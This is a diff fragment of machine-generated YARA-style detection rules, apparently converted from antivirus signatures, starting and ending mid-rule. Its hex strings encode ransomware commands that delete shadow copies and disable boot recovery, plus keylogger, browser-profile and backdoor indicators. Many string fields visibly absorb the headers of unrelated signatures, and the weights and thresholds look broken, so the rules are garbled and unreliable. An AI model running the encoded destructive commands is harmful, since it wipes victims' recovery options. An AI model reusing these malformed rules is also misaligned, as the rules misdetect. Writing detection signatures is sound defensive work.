1)*16675+(#a_6e_1 & 1)*30281+(#a_00_3 & 1)*115) >=3 } -rule _InfrastructureShared_18885{ +rule _InfrastructureShared_20070{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_46_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 46 69 6c 65 43 6f 64 65 72 2e 4d 58 21 4d 54 42 00 01 00 4e 00 76 00 73 00 73 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 65 00 78 00 65 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 73 00 } //21283 + $a_00_1 = {64 00 6f 00 77 00 73 00 20 00 2f 00 61 00 6c 00 6c 00 20 00 2f 00 71 00 75 00 69 00 65 00 74 00 01 00 42 00 77 00 62 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 65 00 78 00 65 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 63 00 61 00 74 00 61 00 6c 00 6f 00 67 00 20 00 2d 00 71 00 75 00 69 } //104 + $a_00_3 = {77 00 6d 00 69 00 63 00 20 00 73 00 68 00 61 00 64 00 6f 00 77 00 63 00 6f 00 70 00 79 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 } //1 wmic shadowcopy delete + $a_80_4 = {64 65 6c 65 74 65 20 73 68 61 64 6f 77 73 20 61 6c 6c } //delete shadows all 1 + $a_00_5 = {62 00 63 00 64 00 65 00 64 00 69 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 73 00 65 00 74 00 20 00 7b 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 7d 00 20 00 72 00 65 00 63 00 6f 00 76 00 65 00 72 00 79 00 65 00 6e 00 61 00 62 00 6c 00 65 00 64 00 20 00 6e 00 6f 00 } //1 bcdedit.exe /set {default} recoveryenabled no + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*104+(#a_00_3 & 1)*1+(#a_80_4 & 1)*1+(#a_00_5 & 1)*1) >=6 + +} +rule _InfrastructureShared_20071{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -230856,7 +245482,7 @@ rule _InfrastructureShared_18885{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28499+(#a_41_2 & 1)*15717+(#a_72_3 & 1)*13166+(#a_71_4 & 1)*29765+(#a_74_5 & 1)*21084+(#a_45_6 & 1)*25972+(#a_73_7 & 1)*26966+(#a_89_8 & 1)*0) >=9 } -rule _InfrastructureShared_18886{ +rule _InfrastructureShared_20072{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -230874,7 +245500,7 @@ rule _InfrastructureShared_18886{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*13415+(#a_73_2 & 1)*25125+(#a_72_3 & 1)*29284+(#a_73_4 & 1)*28019+(#a_74_5 & 1)*24938+(#a_6c_6 & 1)*25715+(#a_74_7 & 1)*26468+(#a_3a_8 & 1)*21587) >=9 } -rule _InfrastructureShared_18887{ +rule _InfrastructureShared_20073{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -230893,7 +245519,7 @@ rule _InfrastructureShared_18887{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*23600+(#a_75_2 & 1)*25125+(#a_73_3 & 1)*29811+(#a_6f_4 & 1)*385+(#a_00_5 & 1)*25966+(#a_65_6 & 1)*385+(#a_01_7 & 1)*14080+(#a_01_8 & 1)*5376+(#a_73_9 & 1)*24924) >=10 } -rule _InfrastructureShared_18888{ +rule _InfrastructureShared_20074{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -230912,7 +245538,7 @@ rule _InfrastructureShared_18888{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*25455+(#a_6b_2 & 1)*23553+(#a_5c_3 & 1)*29281+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1) >=10 } -rule _InfrastructureShared_18889{ +rule _InfrastructureShared_20075{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -230929,7 +245555,7 @@ rule _InfrastructureShared_18889{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25449+(#a_73_2 & 1)*29295+(#a_70_3 & 1)*26716+(#a_54_4 & 1)*8498+(#a_00_6 & 1)*144+(#a_31_7 & 1)*28163+(#a_00_9 & 1)*112) >=10 } -rule _InfrastructureShared_18890{ +rule _InfrastructureShared_20076{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 09 00 21 " @@ -230946,7 +245572,7 @@ rule _InfrastructureShared_18890{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*115+(#a_01_2 & 1)*-28557+(#a_6f_3 & 1)*25970+(#a_00_5 & 1)*116+(#a_8a_6 & 1)*0+(#a_03_7 & 1)*1424+(#a_02_8 & 1)*4083) >=15 } -rule _InfrastructureShared_18891{ +rule _InfrastructureShared_20077{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -230962,7 +245588,7 @@ rule _InfrastructureShared_18891{ ((#a_72_0 & 1)*22051+(#a_05_1 & 1)*7180+(#a_90_2 & 1)*770+(#a_90_3 & 1)*6146+(#a_00_4 & 1)*101+(#a_00_5 & 1)*101+(#a_00_6 & 1)*123) >=1 } -rule _InfrastructureShared_18892{ +rule _InfrastructureShared_20078{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -230975,7 +245601,7 @@ rule _InfrastructureShared_18892{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*110+(#a_00_2 & 1)*32+(#a_00_4 & 1)*111) >=2 } -rule _InfrastructureShared_18893{ +rule _InfrastructureShared_20079{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -230990,7 +245616,7 @@ rule _InfrastructureShared_18893{ ((#a_54_0 & 1)*18467+(#a_4e_1 & 1)*31073+(#a_69_2 & 1)*29285+(#a_3d_3 & 1)*29281+(#a_54_4 & 1)*18467+(#a_30_5 & 1)*13876) >=3 } -rule _InfrastructureShared_18894{ +rule _InfrastructureShared_20080{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -231004,7 +245630,7 @@ rule _InfrastructureShared_18894{ ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*13876+(#a_00_3 & 1)*111+(#a_00_4 & 1)*97+(#a_00_6 & 1)*-30088) >=8 } -rule _InfrastructureShared_18895{ +rule _InfrastructureShared_20081{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0c 00 21 " @@ -231024,7 +245650,7 @@ rule _InfrastructureShared_18895{ ((#a_4c_0 & 1)*21539+(#a_6e_2 & 1)*385+(#a_50_3 & 1)*-32483+(#a_53_4 & 1)*17731+(#a_48_5 & 1)*-32477+(#a_20_6 & 1)*29804+(#a_67_7 & 1)*26996+(#a_00_8 & 1)*0+(#a_00_9 & 1)*111+(#a_00_10 & 1)*101+(#a_14_11 & 1)*11012) >=8 } -rule _InfrastructureShared_18896{ +rule _InfrastructureShared_20082{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -231039,7 +245665,7 @@ rule _InfrastructureShared_18896{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*109+(#a_00_3 & 1)*67+(#a_00_5 & 1)*111+(#a_6e_6 & 1)*26433+(#a_63_7 & 1)*30063) >=9 } -rule _InfrastructureShared_18897{ +rule _InfrastructureShared_20083{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -231056,7 +245682,7 @@ rule _InfrastructureShared_18897{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*25972+(#a_6e_3 & 1)*18689+(#a_00_4 & 1)*50+(#a_00_5 & 1)*116+(#a_00_7 & 1)*50+(#a_00_9 & 1)*0+(#a_74_10 & 1)*24902) >=11 } -rule _InfrastructureShared_18898{ +rule _InfrastructureShared_20084{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 08 00 21 " @@ -231072,7 +245698,7 @@ rule _InfrastructureShared_18898{ ((#a_54_0 & 1)*18467+(#a_01_2 & 1)*0+(#a_34_3 & 1)*25442+(#a_01_4 & 1)*30720+(#a_74_5 & 1)*27940+(#a_32_6 & 1)*12340+(#a_01_7 & 1)*1) >=12 } -rule _InfrastructureShared_18899{ +rule _InfrastructureShared_20085{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -231093,7 +245719,7 @@ rule _InfrastructureShared_18899{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*24946+(#a_24_2 & 1)*4864+(#a_6f_3 & 1)*29797+(#a_01_4 & 1)*7424+(#a_49_5 & 1)*25966+(#a_73_6 & 1)*25971+(#a_74_7 & 1)*28233+(#a_00_8 & 1)*17+(#a_6b_9 & 1)*19503+(#a_67_10 & 1)*20993+(#a_65_11 & 1)*28265) >=12 } -rule _InfrastructureShared_18900{ +rule _InfrastructureShared_20086{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -231113,7 +245739,7 @@ rule _InfrastructureShared_18900{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*385+(#a_43_2 & 1)*-32429+(#a_72_3 & 1)*29525+(#a_6f_4 & 1)*385+(#a_43_6 & 1)*385+(#a_74_8 & 1)*29779+(#a_65_9 & 1)*31090+(#a_73_10 & 1)*28788+(#a_64_11 & 1)*29285+(#a_00_13 & 1)*1) >=14 } -rule _InfrastructureShared_18901{ +rule _InfrastructureShared_20087{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -231133,7 +245759,7 @@ rule _InfrastructureShared_18901{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*25708+(#a_53_2 & 1)*26977+(#a_53_4 & 1)*30035+(#a_49_5 & 1)*19770+(#a_00_7 & 1)*48+(#a_00_10 & 1)*49+(#a_00_11 & 1)*65+(#a_00_13 & 1)*48+(#a_5f_14 & 1)*25959+(#a_00_16 & 1)*116) >=17 } -rule _InfrastructureShared_18902{ +rule _InfrastructureShared_20088{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 0c 00 21 " @@ -231150,7 +245776,7 @@ rule _InfrastructureShared_18902{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*48+(#a_00_3 & 1)*55+(#a_00_5 & 1)*48+(#a_00_7 & 1)*48+(#a_74_8 & 1)*19456+(#a_6d_9 & 1)*17199+(#a_00_11 & 1)*79) >=21 } -rule _InfrastructureShared_18903{ +rule _InfrastructureShared_20089{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -231160,7 +245786,7 @@ rule _InfrastructureShared_18903{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_18904{ +rule _InfrastructureShared_20090{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -231174,7 +245800,7 @@ rule _InfrastructureShared_18904{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*112+(#a_47_2 & 1)*16896+(#a_00_4 & 1)*101+(#a_64_5 & 1)*24913) >=4 } -rule _InfrastructureShared_18905{ +rule _InfrastructureShared_20091{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -231189,7 +245815,7 @@ rule _InfrastructureShared_18905{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*25697+(#a_00_3 & 1)*73+(#a_90_4 & 1)*11617+(#a_52_5 & 1)*21320+(#a_6c_6 & 1)*18524) >=5 } -rule _InfrastructureShared_18906{ +rule _InfrastructureShared_20092{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -231206,7 +245832,7 @@ rule _InfrastructureShared_18906{ ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*25956+(#a_62_2 & 1)*27507+(#a_6e_3 & 1)*29286+(#a_69_4 & 1)*14930+(#a_6e_5 & 1)*28270+(#a_6c_6 & 1)*30322+(#a_62_7 & 1)*28261) >=8 } -rule _InfrastructureShared_18907{ +rule _InfrastructureShared_20093{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 10 00 21 " @@ -231230,7 +245856,7 @@ rule _InfrastructureShared_18907{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*28496+(#a_61_2 & 1)*29285+(#a_61_3 & 1)*25857+(#a_61_4 & 1)*23660+(#a_65_5 & 1)*28265+(#a_6c_6 & 1)*30063+(#a_00_8 & 1)*1+(#a_4d_9 & 1)*28257+(#a_38_10 & 1)*14643+(#a_62_11 & 1)*28009+(#a_00_12 & 1)*29541+(#a_69_13 & 1)*385+(#a_6c_14 & 1)*29763+(#a_2c_15 & 1)*30757) >=8 } -rule _InfrastructureShared_18908{ +rule _InfrastructureShared_20094{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -231249,7 +245875,7 @@ rule _InfrastructureShared_18908{ ((#a_54_0 & 1)*18467+(#a_22_1 & 1)*13873+(#a_72_2 & 1)*28755+(#a_25_3 & 1)*-32480+(#a_65_4 & 1)*29295+(#a_72_5 & 1)*23667+(#a_01_6 & 1)*8960+(#a_43_7 & 1)*29295+(#a_65_8 & 1)*29301+(#a_6c_9 & 1)*8253) >=10 } -rule _InfrastructureShared_18909{ +rule _InfrastructureShared_20095{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0b 00 21 " @@ -231269,7 +245895,7 @@ rule _InfrastructureShared_18909{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26964+(#a_01_2 & 1)*7936+(#a_75_3 & 1)*29541+(#a_20_4 & 1)*8236+(#a_25_5 & 1)*8448+(#a_6f_6 & 1)*28265+(#a_00_7 & 1)*29477+(#a_77_8 & 1)*26223+(#a_52_9 & 1)*18223+(#a_01_10 & 1)*26980) >=15 } -rule _InfrastructureShared_18910{ +rule _InfrastructureShared_20096{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 0c 00 08 00 21 " @@ -231285,7 +245911,7 @@ rule _InfrastructureShared_18910{ ((#a_77_0 & 1)*16675+(#a_03_1 & 1)*28265+(#a_74_2 & 1)*26625+(#a_34_3 & 1)*14637+(#a_23_5 & 1)*24+(#a_72_6 & 1)*26113+(#a_79_7 & 1)*27426) >=12 } -rule _InfrastructureShared_18911{ +rule _InfrastructureShared_20097{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,18 00 18 00 18 00 21 " @@ -231312,7 +245938,7 @@ rule _InfrastructureShared_18911{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*-32763+(#a_00_2 & 1)*25970+(#a_6f_3 & 1)*384+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1+(#a_80_10 & 1)*1+(#a_80_11 & 1)*1+(#a_80_12 & 1)*1+(#a_80_13 & 1)*1+(#a_80_14 & 1)*1+(#a_80_15 & 1)*1+(#a_8c_16 & 1)*0+(#a_00_22 & 1)*0) >=24 } -rule _InfrastructureShared_18912{ +rule _InfrastructureShared_20098{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -231323,7 +245949,32 @@ rule _InfrastructureShared_18912{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*0) >=1 } -rule _InfrastructureShared_18913{ +rule _InfrastructureShared_20099{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 13 00 21 " + + strings : + $a_4e_0 = {48 53 54 52 3a 55 65 66 69 55 74 69 6c 73 00 01 00 0a 80 01 56 69 73 75 61 6c 55 65 66 69 01 00 0a 80 01 43 6f 6d 70 75 74 72 61 63 65 01 00 08 80 01 6b 6f 6e 2d 62 6f 6f 74 01 00 0a 80 01 44 65 6c 6c 53 65 63 74 6f 72 01 00 08 80 } //17187 + $a_6c_1 = {50 6b 67 73 01 00 14 80 01 44 65 6c 6c 55 73 65 72 49 6e 74 65 72 66 61 63 65 50 6b 67 01 00 06 80 01 43 6c 6f 76 65 72 01 00 0c 80 01 2e 5c 45 66 69 76 61 72 2e 62 69 6e 01 00 0b 80 01 5c 62 61 7a 65 6c 2d 6f 75 74 5c 01 00 0e 80 01 56 69 50 4e 65 74 20 53 61 66 65 42 6f 6f 01 00 11 80 01 4f 43 42 3a } //17409 + $a_76_2 = {6c 69 64 20 76 61 72 73 01 00 0b 80 01 4f 70 65 6e 43 6f 72 65 50 6b 67 01 00 0a 80 01 43 42 4d 52 44 52 49 56 45 52 01 00 11 80 01 4c 65 6e 6f 76 6f 53 65 63 75 72 65 46 6c 61 73 68 01 00 0f 80 01 46 6c 61 73 68 55 74 69 6c 69 74 79 50 6b 67 01 00 0b 01 0c 49 26 68 3f 80 ab 32 6f 61 73 01 00 06 80 01 5c 77 66 62 73 5c 01 00 0c } //18720 + $a_50_3 = {61 74 45 78 74 4d 67 72 5c 01 00 42 01 2f 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2f 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 2f 00 4c 00 65 00 6e 00 6f 00 76 00 6f 00 43 00 68 00 65 00 63 00 6b 00 2e 00 65 00 78 00 65 00 00 00 78 8c 01 00 02 00 02 00 04 00 21 } //384 + $a_46_4 = {59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 42 72 6f 6e 7a 65 42 75 74 6c 65 72 5f 52 61 72 53 74 61 72 5f 31 00 01 00 8e 03 4d 00 6f 00 7a 00 69 00 6c 00 6c 00 61 00 2f 00 34 00 2e 00 30 00 2b 00 28 00 63 00 6f 00 6d 00 } //16675 + $a_00_5 = {74 00 69 00 62 00 6c 00 65 00 3b 00 2b 00 4d 00 53 00 49 00 45 00 2b 00 38 00 2e 00 30 00 3b 00 2b 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2b 00 4e 00 54 00 2b 00 36 00 2e 00 30 00 3b 00 2b 00 53 00 56 00 31 00 29 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d } //112 + $a_5a_6 = {2d 7a 90 00 01 00 4e 03 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 77 00 77 00 77 00 2e 00 67 00 6f 00 6f 00 67 00 6c 00 65 00 2e 00 63 } //16697 + $a_00_8 = {90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 44 03 31 36 44 37 33 45 32 32 2d 38 37 33 44 2d 44 35 38 45 2d 34 46 34 32 2d 45 36 30 35 35 42 43 39 38 32 35 45 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 26 03 5c 2a 2e 72 } //106 + $a_19_9 = {09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 00 00 78 8c 01 00 03 00 03 00 0d 00 21 23 41 4c 46 3a 4d 6f 6e 69 74 6f 72 69 6e 67 54 6f 6f 6c 3a 57 69 6e 33 32 2f 50 69 78 65 6c 50 69 74 63 68 2e 41 21 64 68 61 00 01 00 12 03 64 6c 6c 6e 61 6d 90 01 01 5f 75 73 65 72 33 32 90 00 01 00 13 03 64 6c 6c 6e 61 6d 90 01 01 5f 73 68 6c 77 61 70 69 90 00 01 00 12 03 64 6c 6c 6e 61 6d 90 01 01 5f } //29281 + $a_63_10 = {74 90 00 01 00 14 03 64 6c 6c 6e 61 6d 90 01 01 5f 41 44 56 41 50 49 33 32 90 00 01 00 12 03 64 6c 6c 6e 61 6d 90 01 01 5f 57 53 32 5f 33 32 90 00 01 00 31 03 25 73 5c 41 70 70 44 61 74 61 5c 52 6f 61 90 01 01 69 6e 67 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 52 65 6f 72 64 65 72 5c 90 00 02 00 24 03 4b 45 59 4c 4f 47 47 45 52 90 01 01 } //29549 + $a_41_11 = {46 49 4c 45 4e 41 4d 45 5f 46 55 4c 4c 50 41 54 48 90 00 02 00 1d 03 54 52 4f 4a 41 4e 5f 48 4f 4d 45 90 01 01 44 49 52 5f 57 49 54 48 53 4c 41 53 48 90 00 02 00 19 03 55 53 45 52 5f 48 4f 4d 90 01 01 } //20300 + $a_52_12 = {4e 4f 53 4c 41 53 48 90 00 02 00 0d 03 71 74 6c 69 90 01 01 2e 73 71 74 90 00 02 00 0d 03 7a 6c 34 76 90 01 01 2e 73 71 74 90 00 02 00 11 03 64 66 72 67 6e 74 66 73 90 01 01 2e 73 71 74 90 00 02 00 11 03 73 6d 73 76 63 } //17503 + $a_01_13 = {35 } //-28558 5 + $a_71_14 = {90 00 00 00 78 8c 01 00 06 00 06 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 43 72 6f 73 73 72 69 64 65 72 42 72 6f 77 73 65 72 49 6e 73 74 61 6c 6c 65 72 00 05 00 44 01 5c 63 72 6f 73 73 62 72 6f 77 73 65 5c 69 6e 73 74 61 6c 6c 65 72 5c 6f 75 74 70 75 74 5c 72 65 6c 65 61 73 65 5c 43 72 6f 73 73 72 69 64 65 72 42 72 6f 77 73 65 72 49 6e } //11832 + $a_6c_15 = {65 72 2e 70 64 62 01 00 5e 01 5c 00 47 00 6f 00 6f 00 67 00 6c 00 65 00 5c 00 43 00 68 00 72 00 6f 00 6d 00 65 00 5c 00 55 00 73 00 65 00 72 00 20 00 44 00 61 00 74 00 61 00 5c 00 50 00 72 00 6f 00 66 00 69 00 6c 00 65 00 20 00 25 00 64 00 5c 00 45 00 78 00 74 00 65 00 6e 00 73 00 69 00 6f } //29811 + $a_00_17 = {50 } //92 P + condition: + ((#a_4e_0 & 1)*17187+(#a_6c_1 & 1)*17409+(#a_76_2 & 1)*18720+(#a_50_3 & 1)*384+(#a_46_4 & 1)*16675+(#a_00_5 & 1)*112+(#a_5a_6 & 1)*16697+(#a_00_8 & 1)*106+(#a_19_9 & 1)*29281+(#a_63_10 & 1)*29549+(#a_41_11 & 1)*20300+(#a_52_12 & 1)*17503+(#a_01_13 & 1)*-28558+(#a_71_14 & 1)*11832+(#a_6c_15 & 1)*29811+(#a_00_17 & 1)*92) >=1 + +} +rule _InfrastructureShared_20100{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -231335,7 +245986,7 @@ rule _InfrastructureShared_18913{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*112+(#a_5a_2 & 1)*16697) >=2 } -rule _InfrastructureShared_18914{ +rule _InfrastructureShared_20101{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0d 00 21 " @@ -231356,7 +246007,7 @@ rule _InfrastructureShared_18914{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*30572+(#a_73_2 & 1)*29283+(#a_4e_3 & 1)*21065+(#a_53_4 & 1)*8993+(#a_65_5 & 1)*24933+(#a_00_7 & 1)*111+(#a_00_8 & 1)*97+(#a_69_9 & 1)*16686+(#a_2c_10 & 1)*12411+(#a_2e_11 & 1)*31845+(#a_70_12 & 1)*26236) >=3 } -rule _InfrastructureShared_18915{ +rule _InfrastructureShared_20102{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -231369,7 +246020,7 @@ rule _InfrastructureShared_18915{ ((#a_54_0 & 1)*18467+(#a_42_1 & 1)*25956+(#a_00_2 & 1)*92+(#a_00_4 & 1)*104) >=6 } -rule _InfrastructureShared_18916{ +rule _InfrastructureShared_20103{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -231388,7 +246039,7 @@ rule _InfrastructureShared_18916{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*17184+(#a_6c_2 & 1)*11868+(#a_6c_3 & 1)*26236+(#a_6e_4 & 1)*26994+(#a_7a_5 & 1)*24922+(#a_01_6 & 1)*-28571+(#a_00_7 & 1)*14637+(#a_75_8 & 1)*16967+(#a_41_9 & 1)*11890) >=10 } -rule _InfrastructureShared_18917{ +rule _InfrastructureShared_20104{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 07 00 21 " @@ -231403,7 +246054,7 @@ rule _InfrastructureShared_18917{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*50+(#a_01_2 & 1)*-28615+(#a_2d_3 & 1)*23085+(#a_01_4 & 1)*-28672+(#a_00_6 & 1)*83) >=12 } -rule _InfrastructureShared_18918{ +rule _InfrastructureShared_20105{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffaf 00 ffffffaf 00 0e 00 21 " @@ -231414,18 +246065,29 @@ rule _InfrastructureShared_18918{ $a_2d_3 = {32 32 32 32 2d 34 30 30 30 31 2d 30 30 30 30 31 7d 32 00 19 81 01 7b 31 31 31 31 31 2d 32 32 32 32 32 2d 34 30 30 30 31 2d 30 30 30 30 32 7d 0a 00 } //12593 $a_44_4 = {62 } //-32495 b $a_65_5 = {20 44 65 74 65 63 74 65 64 0a 00 0c 81 01 69 73 20 74 61 6d 70 65 72 65 64 2e 01 00 1a 01 52 65 67 69 73 74 72 79 4b 65 79 50 65 72 6d 69 73 73 69 6f 6e 43 68 65 63 6b 01 00 0f 03 24 24 6d 65 74 68 6f 64 90 02 0a 2d 31 90 00 01 00 0f 01 67 65 74 5f 4d 61 63 68 69 6e 65 4e 61 6d 65 01 00 17 01 67 65 74 5f 54 } //26485 - $a_6c_6 = {68 79 73 69 63 61 6c 4d 65 6d 6f 72 79 01 00 12 01 67 65 74 5f 54 6f 74 61 6c 46 72 65 65 53 70 61 63 65 01 00 0d 01 67 65 74 5f 54 6f 74 61 6c 53 69 7a 65 00 00 78 8d 01 00 03 00 03 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 78 63 68 61 6e 67 65 72 2e 41 21 64 68 } //29807 - $a_00_7 = {2c 01 } //97 Ĭ - $a_00_8 = {76 00 61 00 6c 00 69 00 64 00 20 00 42 00 61 00 63 00 6b 00 64 00 6f 00 6f 00 72 00 20 00 74 00 79 00 70 00 65 00 2e 00 02 00 60 01 43 00 42 00 32 00 37 00 32 00 31 00 41 00 42 00 44 00 41 00 46 00 38 00 45 00 39 00 44 00 43 00 35 00 31 00 36 00 44 00 36 00 32 00 31 00 44 00 38 00 42 00 38 00 42 00 46 00 31 00 33 00 41 00 32 00 } //73 - $a_00_9 = {45 00 38 00 36 00 38 00 39 00 41 00 32 00 35 00 33 00 30 00 33 00 42 00 46 00 01 00 2a 01 74 00 6f 00 6f 00 6c 00 53 00 74 00 72 00 69 00 70 00 53 00 74 00 61 00 74 00 75 } //67 - $a_00_11 = {65 00 6c 00 31 00 01 00 24 01 63 00 62 00 6f 00 78 00 5f 00 62 00 61 00 63 00 6b 00 64 00 6f 00 6f 00 72 00 5f 00 74 00 79 00 70 00 65 00 01 00 28 01 43 00 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 64 00 61 00 74 00 61 00 5c 00 31 00 2e 00 74 00 78 00 74 00 01 00 48 01 5c 00 43 00 } //97 - $a_00_12 = {65 00 6e 00 74 00 41 00 63 00 63 00 65 00 73 00 73 00 5c 00 65 00 78 00 63 00 68 00 77 00 65 00 62 00 5c 00 65 00 77 00 73 00 5c 00 54 00 79 00 70 00 65 00 31 00 2e 00 61 00 73 00 70 00 78 00 00 00 78 8d 01 00 05 00 05 00 05 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 73 69 67 5f 32 33 } //108 - $a_6c_13 = {73 73 32 6b 00 01 00 4b 03 50 6f 72 74 69 6f 6e 73 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 31 39 39 37 2d 31 39 39 39 20 4c 65 65 20 48 61 73 69 75 6b 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 } //24376 + $a_6c_6 = {68 79 73 69 63 61 6c 4d 65 6d 6f 72 79 01 00 12 01 67 65 74 5f 54 6f 74 61 6c 46 72 65 65 53 70 61 63 65 01 00 0d 01 